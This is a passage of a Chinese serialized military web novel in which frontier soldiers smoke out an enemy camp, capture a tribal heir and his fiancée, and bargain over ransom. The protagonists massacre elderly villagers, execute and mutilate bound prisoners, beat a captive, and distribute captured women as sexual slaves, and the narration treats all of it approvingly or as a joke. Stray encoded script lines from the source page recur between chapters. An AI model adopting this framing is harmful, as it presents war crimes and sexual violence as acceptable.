百夫长又叹一声道:“唉!都怨我。昨天我见营中粮草不多,又值初冬来临,生怕忽降大雪封了山路,到时候粮草不济,兄弟们就要忍冻挨饿,所以就多派了一些人下山去,想要多取些粮草回来以备不时之需。” 说到这儿百夫长顿了顿又道:“谁知藩狗们傍晚时突然来袭,营里只剩下的几十号人,自知根本抵挡不住,又怕你们发现这边的动静回援时中了埋伏,所以就想着掩护几个兄弟冲出包围给你们送信,然后就撒出营地。谁知道藩狗们来了这么多人,好不容易把送信的兄弟掩护出去,我们却已经来不及撒退了。只好退入营中,凭借营里的工事抵挡。你们来的时候藩狗们刚刚攻破营门,也幸亏你的计谋,否则只怕损失会更加惨重。”末了百夫长又叹一声:“是我大意了!” 这之后营地一一修善,杨笑提前换防回到营地中。百夫长称病不能料理军务,杨笑又是营中不多的能读会写的人物,再加上计谋过人做战勇猛,便要杨笑代自己暂时管理营中事务。杨笑推脱不过只得领命了。 很快又是一个多月,冬天山上的风异常的刺骨。今年是一个罕见的干冬,入冬都两个月了也不见飘落一片雪花 这天杨笑正在营房里计算营中帐目,这时一名士卒在门外叫一声:“报。”杨笑忙命进来。那士卒快步走入:“禀伍长,前方探报。藩贼军寨里似乎是来了重要人物,他们从中午开始就大摆筵席,直到我方斥候回报时仍在筵饮。据报藩狗们的笑声传出墙外,连冬天的寒风都遮掩不住。” 杨笑闻言霍然起身:“好!就是今晚。通知下去,计划提前。” “是!”那士卒领命退出。 原来,从一个多月前被藩兵偷袭之后,杨笑就没有一天不想着复这袭营之仇的,营里的众将士也一心想要一雪前耻。杨笑命人日夜紧盯着藩兵的一举一动,为了等一个好机会能够一举重创敌方,连平日里的一些小磨擦杨笑都命令隐忍,还放过了几次能够小小教训对方的机会,就是要让藩兵们麻痹大意,以为自己胆怯不敢应战,好为己方创造机会。今天终于等来了这个机会,如此天赐良机杨笑又怎么能够放过。 傍晚杨笑将营中一百多名好手招集在一起,命令众人去了盔甲,只穿防寒的衣服,箭匣里塞入草秸,弩机用布包了,枪尖用草裹住,不到进攻时不得抽刀出鞘……。所有的一切都是为了防止身上的物品发出声响和亮光来,众人甚至都用窝底灰把脸抹成了黑色。每个人都背一梱草秸,提一壶这些日子收积来的人畜尿液还有一些破碎皮毛。 一行人准备妥当后便向藩兵的军寨出发了,途中经过一条小溪时还把带来的草秸浸湿了几梱。 悄悄的绕过了藩兵的哨卡,一路潜行来到藩兵的军寨之外。午夜过后,杨笑先让一队人悄悄的埋伏在藩兵军寨的大门外,自己带一队人绕到军寨的上风口藏好。 过了约么一柱香的时间,夜空中隐隐传来几声鸟叫:“咕~咕咕,……。”这是杨笑等人约定好的信号,证明藩兵军寨围墙上值夜的人已经被敲掉了。 听到信号杨笑命人将带来的草秸点燃,把浸湿的草秸盖在火上,又把带来的尿液,皮毛都浇了上去,这样一来火堆上就只见冒烟看不到什么明火了。很快一股呛鼻子辣眼睛的烟雾腾空而起。杨笑又拿出一包黑中带着点点金色光点的粉末撒在火里。 这粉末名叫石炭精,是用夹带在石炭中的一种石头精选出来的。这种石头投入火中便会冒起浓浓的黄褐色烟雾,并发出刺鼻的味道来,人要是闻上一口就会被呛的头晕眼花,要是多吸上几口这种烟雾就得栽倒在地。这东西在杨笑的家乡通常都是猎户们用来熏那些躲在洞里的猎物的,最多也就拿来熏熏老鼠。从这种石头里精选出来的粉末,那威力可想而知。 石炭精一投入火中一股黄褐色的浓烟立刻滚滚而起,在夜色的掩护下随着微风向藩兵的军寨里缓缓地飘去。 杨笑等人站在上风口都被熏的够呛,就更别提军寨里的藩兵了。烟雾一飘入军寨里,立刻一阵阵咳嗽声就传了出来,听那股动静,藩兵们怕是连肺子都要咳出来了。 被笼罩在烟雾中的藩兵们只觉得一股异常刺鼻的腥骚臭气扑面而来,直呛的人咳吐不止,不能呼吸。这烟雾甚是古怪,不但异常的呛人刺眼,就算是躲在屋里用布捂住口鼻也无济于事,照样往嗓子眼儿里钻。藩兵们全都涕泪具下,被熏的连眼睛都睁不开了,想往外跑都难,很快就有许多人被熏倒在地。 杨笑这边见烟雾的效果甚好全都哈哈大笑起来,有两个家伙还嫌不够过瘾,又脱了裤子往火堆里来了一泡。 整个军寨都被笼罩在滚滚的浓烟中,不一会军寨的大门打开了一条缝,从里面跌跌撞撞的跑出来一个藩兵。 这里早已埋伏好了西梁兵。那藩兵跑出大门没几步就弯腰站在那里剧咳不止,程江举起手里的劲弩,一箭命中。可怜那藩兵连气都没有喘匀就上了西天。不一会,三三两两的又出来几个藩兵,都被埋伏在这里的西梁兵给一一射倒了。 军寨里的人听到外面接连几声惨叫,知道门外有埋伏,再也不敢出来了。必经里面呛是呛了点,可总比出去丢了小命强不是?过了一会儿,等他们察觉出不对劲儿的时候已经晚了,一个个四肢无力,头晕眼花倒地不起。 在藩军的军寨里杨笑等人会有什么收获呢?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十五回 干了一票大的 上回说到杨笑等人点起火来,用烟雾把军寨里的藩兵们熏了个够呛,直到大门处不再有人出来,里面的咳嗽声也渐渐的消失了,又过了好一会儿,赵钱眼儿才用双手捂在嘴上发出了“咕咕咕”的信号。 得到信号,将火熄灭后,杨笑带人进到军寨里。这时军寨里的烟雾早已消散的差不多了,但那股残存下来的难闻的味道还是令人闻之欲呕。赵钱眼儿嘿嘿笑道:“烟都散了还这么大的味儿,刚才也真是苦了这帮狗贼。” 杨笑等人分头挨个房间搜索过去,把倒在地上的藩兵们一个个的全都用绳索捆起来,遇到躲在屋里还有些许抵抗之力的藩兵就直接一刀结果了。 杨笑在一个房间内抓到一个满身都是肥肉的家伙。这个房间相较于其它的房间大了些,其中的布置也高档舒适了许多。那胖子就那么赤条条的躺在床上,一条裘皮毯子斜盖在身上露出半边身子来,一条大腿也伸在毯子外面。从这间屋子里的布置以及挂在一边的华贵服饰可以看出来这胖子肯定是非富即贵。 这时候,这个胖子也不知道是被熏晕了还是本来就喝醉了,口水鼻涕流了一大片,外带吐了一床。房间里还有六个年轻貌美的女子昏倒在地上,从衣着打扮上看应该是侍候这胖子的丫鬟。 “跑到边境上还带着六个丫鬟,这胖子的身份还真是不一般呢!”杨笑在心里猜测着。 接着杨笑又在另外几个房间内抓到了藩军的首领,还有一些人一看就知道不是军寨里的人,应该是那个胖子带来的士卫和仆人吧。 很快众人打扫完了战场。那些个藩族人一个个的都被绑的像是中秋节的大闸蟹似的,用五花大绑来形容都有些赶不上。 众人把军寨里的牛马都牵出来,把搜刮来的战利品都装上车,这时大家才发现这些牲口也都被呛的不轻。 杨笑查看了一下战利品,看来看去总觉得少了点什么。他扭头把周围看了一圈,把手一指说道:“把那扇门板给我拆下来。”几个人抱起一根圆木三下五除二撞倒围墙把藩军军寨的大门给拆了下来。杨笑拍了拍装在车上的门板笑眯眯的满意道:“这下就对了,好不容易来一趟,总得留点记念嘛。” 这帮人是真的把藩军的军寨给搜刮了个干干净净,反正车马不少,能装的下就只管装。 正在杨笑等人收拾完东西打算回营的时候一名士卒来报:“在山谷里发现一个小村庄,约么二三十户人家的样子。” 杨笑眼珠转了转,心道:“二三十户,也就是百十来口人的样子。”杨笑嘴里吸口气:“咝……来都来了,索性一不做二不休。”于是他一挥手“抢了!” 军寨里原本有两百多藩族人,再加上那胖子带来的人一共不到三百人,除了被杀掉的还有一百多号人。杨笑把这些俘虏们都归在一块儿,留下二十个人看守,并叮嘱他们:“二十个人看一百多人不好看,但凡有人稍有动作就立即斩首,以防不测!” 别说,这招还挺管用。有两个醒过来的藩兵在地上捆的久了,这地上又硬又凉躺在上面确实不舒服,手脚也都麻了,就想要活动一下手脚。结果刚伸了伸腿就被来了个手起刀落,落了个身首异处的下场。更有一个藩兵连吓带冻,哆嗦的厉害了一点也被杀了。其它藩兵一看这阵势一个个的吓的再也不敢动了。必经腿麻它死不了人嘛! 只说杨笑等人来到小村庄中。村里的房子多是用石头垒彻而成,十分的简陋。这个军寨旁的小村子里老老少少有百十来口人,村里的人平常都以种地为生,偶尔也上山打猎,也经常要给军寨里的藩兵们干点活儿。 杨笑等人先把村子通往外界的路口给把守住,然后再一户户的抓人。谁知道刚抓了几户就惊动了村子里的狗,杨笑一看事情要难办,干脆冲入村中把这些村民们都赶到了村子里的一处空地上。其间有敢反抗的一律都射杀了。 在杀了几个人以后,很快村民们就放弃了抵抗,一个个都老老实实的双手抱头蹲在地上。杨笑命令把村民们都给绑了。 等把这些村民们都绑好后,天已经蒙蒙亮了。杨笑查看了一下,这些村民中有不少老弱妇孺,多数人都是衣衫不整,瑟瑟发抖。但杨笑对这些村民们可不会有半点儿的怜悯之心。谁让两族仇杀多年,谁让他们杀了自己的众多袍泽,谁让他们毁了自己的家,谁让他们杀了自己的母亲。 上了年纪的人抓回去也没有什么用,还要浪费粮食养活他们。杨笑在村民中走了一圈后,抬手一挥命令道:“五十以上的一个不留!”说完就背过身去。在一阵惨叫声过后,那些年纪看起来有些大的都被杀了个干净。其余的村民们哪见过这样的阵势,许多人都被吓的脸色苍白,惊叫连连。有几个血气方刚的青壮想要起来反抗也连带着被杀了。 杨笑等人如法炮制,把村子里能带走的东西都带走了,然后一把火烧了这个小村庄。回到军寨后押起俘虏,驾起车马返程而去。 返程的途中有一个藩兵试图逃跑,杨笑也不着急叫人去追,而是举起弩来一箭射在那人的大腿上。那逃跑的藩兵应声倒地,杨笑叫人上前把那藩兵的手脚都砍断后就那么把人丢在那里。被砍断了手脚,扔在这冰天雪地的山上,不用想也知道会是什么结果。 没办法,俘虏实在是太多了。一百人押着两百多俘虏,不使出点雷霆手段来怕是要震慑不住这些藩族人。“再有试图逃跑者,这就是下场!”杨笑厉声向俘虏们喊道。一众俘虏们见这伙儿西梁军这般凶残,哪里还敢跑,只好乖乖的被押了回去。 营地里得到消息的西梁军早早的就赶来支援了。有藩兵首领在手,哨所里的藩兵们也一个个的被轻松拿下。 营地里迎接杨笑的是一片欢呼声。 杨笑等人回到营地后刚把一切都安置妥当,天上就飘起了雪花,很快一场鹅毛大雪就铺天盖地的下了起来。这场大雪一直下了三天三夜。大雪封山,进出不得,藩军军寨被一锅端掉的消息只怕一时半会儿是传不到藩军高层的耳朵里了。 把藩军的军寨给一锅端了的杨笑又会有什么样的事情找上门呢?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十六回 战利品 此次偷袭藩军军寨战果颇丰。共斩杀藩兵及藩族平民两三百人,俘虏藩军百余人,抓获军寨中的杂役以及藩族村民共一百余人,解救被俘的西梁兵以及西梁百姓二十多人。缴获粮草三百余石,肉食四百多斤,还有好几十坛酒。金银钱物折合白银约两百余两,价值不明的玉器和金银器皿十多件,带回来十多匹布料,各色兽皮五十多张。缴获骡马有二十多匹,还有十几头牛和十多辆车。另有一堆杂物,就连木材都拉回来两根。 这一次大获全胜百夫长似乎是最高兴的一个,他挨个的看着眼前的战利品,就像个贪财的老丈人看到新姑爷给送来的丰厚聘礼似的,笑的嘴都要合不上了。百夫长搂着杨笑的肩膀问:“这么多东西你小子是怎么弄回来的?别的不说了,那两根木头你拉回来干什么?” 跟百夫长接触的多了杨笑才发现百夫长原来是个既猥琐又无赖的家伙,只要不是在战场上,平时与大伙儿相处起来都没有半点架子,大伙儿跟他也是没大没小的时候多。杨笑还有些不习惯百夫长这么亲密的动作,把他的手拿开后故作随意的耸耸肩:“车装不下,马驮,马驮不了的不是还有这么多俘虏吗?让他们多背点,只要压不死就成,也省的回来的路上出什么意外”说着拍了拍那两根木头“至于这两根木头嘛…我看是挺稀罕的木料,想着拉回来兴许能值几个钱,就算卖不了,劈了当柴烧也不错嘛,反正车上还有空地方。” 百夫长点点头“噢”了一声。来到另一堆战利品前,百夫长背着手腆着肚子,故意摆出一幅很严肃的样子:“这扇大门拉的好哇!来人呐!把这扇门给我立到外面。”自从被藩军偷了大营后,百夫长没少受上司的处罚和白眼还有其他同僚的嘲笑,这一回可算是把胸中的这口恶气给好好的出了出。百夫长翘着大拇指志得意满的叫道:“他娘的,往后看谁还敢再嘲笑咱们,有本事的就给大爷我再弄一扇藩狗军寨上的大门回来。” 一位伍长顺着百夫长的话说道:“百夫长这可不是最好的东西。” 百夫长听到这句话后连连点点称是:“对……!”还向那名伍长伸着大拇哥一幅你我都懂得的意思。 百夫长一把搂住杨笑一脸坏笑着嘿嘿道:“别的不说啊,你带回来的这几十个女人可真是不赖。这大冬天的,又大雪封山,这回兄弟们可是有福喽。”说着把杨笑拉到一边神神秘秘的小声道:“这回老哥可得好好的谢谢你,知道你脸皮儿薄,老哥我早就替你挑了两个最好的,归你了。嗯?”说完递给杨笑一个一切交给我,老哥都懂的表情。 杨笑皱着眉头,眯眼看着百夫长:“这样……不太好吧?” 百夫长满不在意的拍了拍杨笑的肩膀:“放心!都不在帐上。” 杨笑知道他把自己的意思理解错了,也知道百夫长的禀性,也就懒得再跟他在这件事上多说什么。 当晚营地里摆开了庆功宴,众人都痛饮了一场。 酒足饭饱后杨笑回到房间。两个身姿婀娜,年轻貌美的少女正乖乖的站在房间里。见杨笑进来其中一个少女连忙跪拜在地上吓的瑟瑟发抖,连头也不敢抬一下。正是百夫长专门为杨笑挑选出来的两个最是美貌的少女。 百夫长有些喝多了,搂着杨笑的脖子眯着一双醉眼,一边打着饱嗝一边指着两个少女,一脸坏笑着对杨笑说道:“怎么样兄弟……嗝……还满意老哥的安排吗?明年开春儿……嗝……带回家,放到被窝里……嗝……暖和。”说完嘿嘿嘿的笑了起来,那幅贱贱的样子,那叫一个猥琐。百夫长一把将杨笑推到屋里:“好好伺候着啊!往后他就是你俩的主人了。” 等百夫长离开后杨笑扫了两个少女一眼,面无表情道:“用不着害怕,我对你们两个没什么兴趣。外面这间屋子也还算暖和,你们就在这儿呆着吧。”说完径直走进里面的小屋,在床上打坐运起功来。一个周天下来身上的醉意已消了大半。 过了一会儿,那名胆小些的少女似是稍稍的松了口气,却还是歪在地上不敢起来,而另一个少女的胆子就大多了。她悄悄的探出头往里面看去,见杨笑闭着眼睛盘坐在床上一动不动,就往门口凑了两步。 “要么老实些,要么滚出去!”杨笑闭着眼睛说道。 突然响起的声音把这少女吓了一跳,少女缩了缩脖子撇撇嘴走到一边搬了个小凳子坐在火炉旁。 第二天,杨笑运功完毕起身走出房间,那个胆小些的少女连忙端来准备好的热水毛巾服侍杨笑洗漱。 杨笑洗漱完毕,走到火炉旁。另一名少女正抱着双膝蹲在那里拿着一根小树枝在地上无聊的划拉着。“就这么老实的在这里呆了一晚上?”杨笑一边烤着火一边问道。 少女抬头看了一眼杨笑:“那还能怎么样?那两个家伙在门口守了一夜,院子里又到处都是岗哨,难道我还能跑了不成。”少女说完才发现杨笑刚才说的是藩族语言。她猛地站起身,似乎有些惊喜:“咦,你会说藩族话?” 自从父母被藩族人杀害后在杨笑的心里就种下了复仇的种子。也是从那时候开始,杨笑开始努力的学习藩族语言,所谓要打败敌人,就要先了解敌人。 杨笑没有回答少女的话,从旁边搬过一个凳子,坐在火炉旁烤着火:“就没想过趁我睡着后一刀把我杀了,好给你的族人们报仇?” 那名胆小的少女听到杨笑的话立刻跪在地上说道:“奴婢不敢。” 拿树枝的少女把手里的小树枝丢在地上,歪着头一幅不服气的样子:“我倒是想呀!可你在床上坐了一整晚,也不知道你到底有没有睡着,就是想下手也找不到机会呀!最后反倒是我自己不知道什么时候先睡着了。”说到最后露出一个不争气的表情来,声音也越发的糯弱了。 杨笑呵呵一笑:“你倒是够坦诚。说说吧,你在那边是什么身份?” 少女回答道:“我能有什么身份?我叫彩珠,是被他们从别的部落抓过的,谁知道刚到寨子里就又被你们抓到这里了。” 杨笑冷着脸:“你觉得我会相信你这些说辞吗?就冲你这身穿着还有谈吐气质,就不是一般人。” 那少女撇撇嘴扭过头不再说话。 杨笑并没有追问下去的意思而是扭头问另一个少女:“你呢?”那少女低头回答:“奴婢叫朱米,是村子里村长的女儿。” 杨笑问了几句话后就对两个少女的背景没了兴致,抓起身边的长刀向门外走去。走到门口时又停下来转身说道:“你们要是不想留在我这儿的话,尽管说。要是想留在这儿,我可要事先告诉你们,我对你们藩族人没有好感,说不定哪天就会暴起伤人。” 朱米立刻跪在地上。:“奴婢愿意侍奉主人。”村子里其他女人的下场她可是见识过的,她知道若是回到牢房里要比留在这里凄惨上千百倍。 彩珠把头扭向一边一副懒得理人的样子。杨笑也懒得跟她计较,转身就往外走。彩珠不见杨笑说话回过头见杨笑早就走出了屋子就追到门口喊道:“喂!你的藩族话说的挺不错的,在哪儿学的?” 杨笑停下脚步冷哼一声道:“几句鸟语而已,有什么难的。”说完大步离去。 欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十七回 大鱼 杨笑来到大厅的时候,百夫长正歪在那里同另外几个伍长有说有笑的聊着什么。见杨笑进来百夫长笑着调侃道:“哟!杨兄弟这么早就起来了,昨晚睡的可还好?那两个丫头侍候的还可以吧?”几个伍长也跟着起哄。 杨笑扬了扬眉毛玩笑道:“还行,还行。托百夫长的福。”至于是不是真的托百夫长的福那就另当别论了。 几个人都能听出来杨笑话里的意思。百夫长才不管他话里话外带着的是什么意思呢,接着调侃道:“诶,老哥我可是好心提醒你呀,正所谓春宵一刻值千金,男人嘛,就得学会享受女人。尤其是像咱们这样在刀尖上讨生活的,就更得懂得及时行乐了。”百夫长啧巴了一下舌头又接着说道:“不过话又说回来,这世上只有累坏的牛,没有耕坏的地,杨兄弟初尝人味,还是要有所节制,有所节制地。” 几个伍长听到这话都在一旁嘿嘿嘿的偷着笑。 杨笑并不想跟他们接着扯这些没什么意思的荤腔,于是差开了话题:“那些抓回来的俘虏开始审问了吗?” 百夫长示意杨笑莫急,他端起面前的碗喝了一口水说道:“这不是在等你嘛,咱们这就数你的鸟语说的最好。” 杨笑知道这位百夫长是个什么德兴,懒得跟他这么扯下去,直接了当的说道:“那咱们就开始吧。” “好!开始,开始。”百夫长答应着正了正身子:“嗯……先把那个胖子带上来。这胖子长的多喜庆,我看着就喜欢,就先审他吧。” 不一会儿,那个看起来就不是一般身份的胖子被带了上来。 胖子被反绑着双手嘴里还塞着一团烂麻布,还没进门就听见他呜呜呜的乱叫着什么。百夫长露出厌烦的表情,冲两个押送的士兵抬手示意一下。两个士兵会意,抬脚踢在那胖子的腘窝处,胖子两腿一软扑通一声跪在了地上。 “怎么还把嘴给堵上了?”百夫长问道。 “回百夫长,这家伙实在是太吵了。”一个士兵回道。 百夫长“哦”了一声摆摆手:“拿下来吧。” 把堵在嘴里的烂麻布取下来,那胖子往地上呸呸呸的连吐几口,把气喘匀后就大叫道:“我乃是贡喀部落的少族长,是未来的大族长!你们竟然敢抓我,我爹一定会把你们的脑袋拧下来做马灯,把你们的皮扒了做马垫,……。” 百夫长拿小拇指掏了掏耳朵眼儿,厌烦道:“你嚷什么嚷?再给他赌回去。” 两个押解的士兵立刻又把那团破布给塞了回去,那个胖子就又只能呜呜呜的叫了。 杨笑把这胖子所讲的话说给众人。百夫长等人相视一笑:“呦呵!还是条大鱼,意外收获呀!” 从胖子嘴里的话他们得知这胖子的身份还真是不一般。贡喀部落乃是藩族九大部落之一,其实力排在第四位,也是唯一一个与大周王朝接壤的大部落。说是排在第四,其实比第三也就差了那么一丢丢,随时都可能取而代之。而这胖子就是贡喀部落族长的大儿子,并且已经被定为下一任族长人选。至于为什么会选这么个让人一看就觉得是个蠢材的家伙做未来的族长,那就只有他们自己知道了。 百夫长见这位未来的族长被赌着嘴还在呜呜呜的吵吵个没完,就冲两个士兵示意一下。一名士兵上前一拳打在那胖子的肚子上,胖子立刻就闭上了嘴巴,弯腰捂着肚子一张脸也胀的通红。本来就肥胖的一张脸现在活脱脱就是一个煮熟了的猎头。不过这也只是开始,接下来迎接这位少族长的就是噼里啪啦的一顿爆捶,直把这位少族长打的也就是他妈还能认得出来了。 等到打完后,百夫长掏着耳朵一幅懒洋洋的样子说道:“不叫了?想叫的话可以再叫一会儿。” 虽然那胖子不知道百夫长在说什么,但是看他的表情和眼神,也大概知道一准儿不是什么好事儿,吓的连连摇头。 百夫长轻嗤一声:“充什么硬骨头。杨兄弟,人是你抓来的,就由你来审问吧。” 杨笑拱手领命。接着杨笑一连问了这胖子好些个问题,其余的几个伍长也问了几个问题。那胖子本来还不想回答,但看到百夫长在一旁的火炉里不知道在摆弄着什么东西,这位刚刚被虐了一顿的少族长心里边是真怕再给自己来个什么新花样,就都老老实实的回答了。 原来此人名叫木都。之所以会出现在边境上的军寨里,是因为前段时间藩军在与杨笑等人的大小冲突中接连受挫,边城守将对军寨首领很是不满。此时木都的一个好友,当然也是部落中的权贵之子。这位公子哥想要在边境上捞些功劳,好为自己以后的上升通道铺路,于是便接管了这个军寨。之前西梁军营地受袭等一系列损失就是拜此人所赐。 像木都这样的纨绔子弟又怎么会一直待在家里呢?在一个地方待的久了就想要出门放飞一下心情。正好,听说自己的好友在边境上有所收获,就借口要来为其好友庆贺。 本来以他的身份是不会出现在边境这样的凶险之地的,但这胖子执意要来,并且说只到边城不到军寨,其父这才放行。不想这位少族长还是个好面子的主,到了边境后为了在好友面前显示自己也是一名勇士,就强令自己的卫队留在边城,只带了一些亲卫和几个婢女就来到了军寨里。 到军寨后这位少族长不但要为自己的好友庆功,还要与众将士同乐以彰显自己的爱兵如子。于是就命令摆开筵席,这样一闹军寨里没醉的也就不剩几个了。 跟着这位少族长一起来的人里头还有他的未婚妻,正是百夫长挑给杨笑的两个少女中的那个叫做彩珠的。 说起来这位彩珠姑娘的家族比起贡喀部落更要强上几分,乃是仅仅排在雪藩族王族之后,实力位列第二的雄鹰部落,而彩珠就是雄鹰部落族长的女儿。 木都的父亲想要与雄鹰部落联姻以拱固家族的势力,但彩珠并不满意这桩婚事,木都的父亲便把彩珠请到家中与木都多相处一段时间,以便两个人陪养一下感情。没想到木都竟然把人给拐带到了这里。 接下来又审讯了其他几个人,所言与那木都相差无几。 审讯结束后百夫长兴奋的搓着双手在屋子里走来走去:“大鱼,大鱼啊!还不止一条,这下发达了。”百夫长说着说着忽然想到了什么,连忙把杨笑拉到一边小声的问道:“那个叫彩珠的你没把她怎么样吧?” 杨笑耸耸肩:“没有啊。” 百夫长闻言大大的松了口气,一手抚着胸口说道:“哦没有就好,没有就好,要不然还是一件麻烦事呢。” 杨笑鄙视道:“我还没把那女人怎么样你就吓成这样,你把那位少族长打那么惨也没见你怕呀?” 百夫长悻悻道:“你小子懂什么,打他一顿也不过是一些皮外伤,过几天自己就好了,把人家姑娘给睡了这……咱可给人家变不回去。” 杨笑白了他一眼:“瞅瞅,瞅瞅,还人家。” 百夫长往后靠了靠,拿眼睛眯着杨笑就好像不认识他一般,百夫长开口说道………。 到底百夫长对杨笑说了些什么话,欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十八回 藩族来使 上回说到百夫长拿眼睛眯着杨笑就好像不认识他一样,他开口道:“按说你跟着我的时间也不短了,我身上的优点你也该学的差不多了才对呀?” 杨笑嘿嘿笑道:“学你?学你什么优点?学你的猥琐吗?” 百夫长哼了一声:“还说不学,你小子偷摸的端人家老巢的这招就够阴损的。” 杨笑只是笑笑不说话。 百夫长凑近了点,把手搭在杨笑的肩上低声说道:“那个叫什么彩珠的女人是真的不能给你了,哥哥再给你换一个。” 杨笑拿眼睛斜着他。百夫长把眼睛一瞪:“你斜我干什么?你的事我知道。可这玩儿女人你管她是哪族的干什么,只要年轻漂亮不就得了。要我说呀,越是仇家的女人玩儿起来那才越叫个痛快。它解恨呐!”百夫长说完还冲杨笑露了一个贱贱笑脸。 杨笑知道这家伙又想叉了,也懒得跟他解释,就由着这个家伙自娱自乐去吧。 跟百夫长一聊才知道,原来这家伙私下里留下了八个美貌的藩族少女。之所以给了杨笑两个呢,一来是为了报答他;二来是因为杨笑凭借这次的功劳将来的前途也不会差到哪儿去,能拉近一点关系总归是不会错的。百夫长自己留了两个,余下的四个少女他打算回去后献给州府守将,希望能谋下个一官半职。再不济,到了他卸甲的那一天,也能有个好营生不是? 转眼间大半个月过去了。这一天杨笑等人正在营中议事,突然有军士来报:“百夫长,前方哨点回报说是来了一只藩狗的使者。”杨笑等人对视一眼,不用问也知道这使者是来干什么的,于是命人将使者带过来。 很快,一个略有些消瘦的中年人来到大营中。这人个子不高,面色偏黑,穿着用兽皮制成的厚厚的皮袄。使者手上打着一个幡,幡上白底黑字写了一个大周文字“使”。 一名伍长望着进入营门的藩族使者打趣道:“你看他写的那个使字,真是有够臭的。” 另一名伍长也附和道:“就是,还弄个白旗写上黑字儿,活像是来吊孝的。”这名伍长说完后发现身边的人都用异样的眼神看着他,突然回过味儿来,连忙往地上呸呸呸地吐了好几口:“说错了,说错了。这样不就成了咱们这死人了吗。”连忙改口:“是他们家,他们家死人了。”顿了顿又补充道:“呃,是来报丧的。” 很快,那名藩族使者便来到近前,双方勉勉强强算是见过礼之后依次进入大厅。 杨笑等人端坐于上。那使者挺了挺胸,神色傲然的自我介绍道:“我乃……。”哪知道刚一开口百夫长就不耐烦的打断了他的话:“行了行了,你就直说你是来干嘛的吧?” 藩族使者面露尴尬之色,不过他很快就恢复了过来:“特来赎回我族少族长。” 百夫长听了藩族使者的话故意装傻充愣的问道:“你们家少族长?哪儿呢?无缘无故他怎么会跑到我这儿来?” 藩族使者闻言双眉一皱就要开口,这时百夫长装做像是突然想了起来:“哦,对了……。人呢,是在我这儿,至于你说的这个事呢,得容我上报,不过你总得先让我看看你们的诚意吧。” 使者从怀中取出一个小册子递到百夫长的长面前。百户长打开小册子看了看,上面详细罗列了所赎之人及所用财物。 百夫长歪着脖子把小册子上面写的东西看了一遍,又把它交给杨笑等人传看了一下。百夫长扬着手里的小册子说道:“不是我说啊,你这点儿东西恐怕很难把事儿办成呀!我会把这个小册子转交上去的,你呢,就先回去等消息吧。” 原来那天杨笑给藩兵的军寨来了个清场后,木都留在边城内的卫队左右等不来自家少族长,便派人冒雪上山察看,这才知道军寨已然遭袭,只留下满地的尸体。藩族人在军寨内未能找到木都的尸首,便猜想或许是被西梁军俘虏了去,于是立刻传讯回部落中。少族长被俘自然是部落内天大的事,本来藩族人是想要派重兵夺回少族长的,无奈天公不作美,又怕把西梁军逼急了伤到少族长,于是天气刚一好转藩族使者便不顾大雪封山冒险而来。 “我要先见一见我家少族长。”藩族使者要求道。 百夫长皱着眉头抠了抠牙缝,然后把抠出来肉渣往外弹了弹:“可以,我这就领你去看看。” 藩族使者在一间牢房内见到了木都。那胖子一看到使者便急切道:“快救我,快救我出去!”那幅模样,恐怕见了他亲娘都不带这样亲的。 藩族使者见木都的身上挂着不少的伤,眼眶都青了半边,便怒道:“你们竟敢如此对待我家少族长!” 百夫长根本不以为然,心想:“你都到我的地盘上了还跟我这儿装什么大尾巴狼!”他嘴里啧了一声摆出一个我也很难办的表情来:“啧,这就要怪你们家少族长了。” 潘族使者一听这话就不答应了,这是什么歪道理?被打成这幅模样最后挨打的还错了。他怒睁着双眼质问道:“如何就怪到我家少族长了?” 百夫长指着木都说道:“他刚来的时候呀,我们也不知道他的身份,他自己又不老实,一点儿都不配合,看守的兄弟们动起手来自然不会客气喽。” 藩族使者见他这副泼皮无赖相,气的把牙咬了又咬,最后也是没奈何,谁让自家的少族长落到人家的手心里了呢。使者转而问道:“贡喀部落的公主呢?” 百夫长把眉毛一扬:“人家这位小公主就比他聪明多了,你放心吧,一根毛都没少。”百夫长于是命人把彩珠带来与藩族使者见了一面。 等藩族使者离开后百夫长立刻吩咐道:“立刻将这两个人送到望山府。” 杨笑问:“是怕他们突然来抢人吗?” 百夫长点点头沉声道:“既然藩族的使者都能冒险爬山过来,那他们的士兵也一定能爬过来,我们不能掉以轻心。” 另一人问道:“眼下大雪封山,这两个人下得去山吗?” 百夫长想了想说道:“顾不了那么多了,多派些人手护送,赶在天黑前走出山谷,后面的路就好走多了。” 杨笑身后一名伍长愤愤道:“要是藩狗们胆敢来抢人,管教他们连尸体都带不走一块儿。” 杨笑转过身把手放在这位袍泽的肩膀上解释道:“还是小心些好,万一真被他们劫走了,那我们岂不是白忙活一场,到头来什么也捞不着。” 百夫长负手向外走去,从杨笑身边经过时拍一下他的后背:“这才像我嘛。” 很快由两名伍长领着三四十号人,带足了绳索钩具等爬山的工具,将木都与彩珠两人匆匆的送下山去。 十日后望山府来人。 欲知后事如何,且听下回分解! window.fkp = 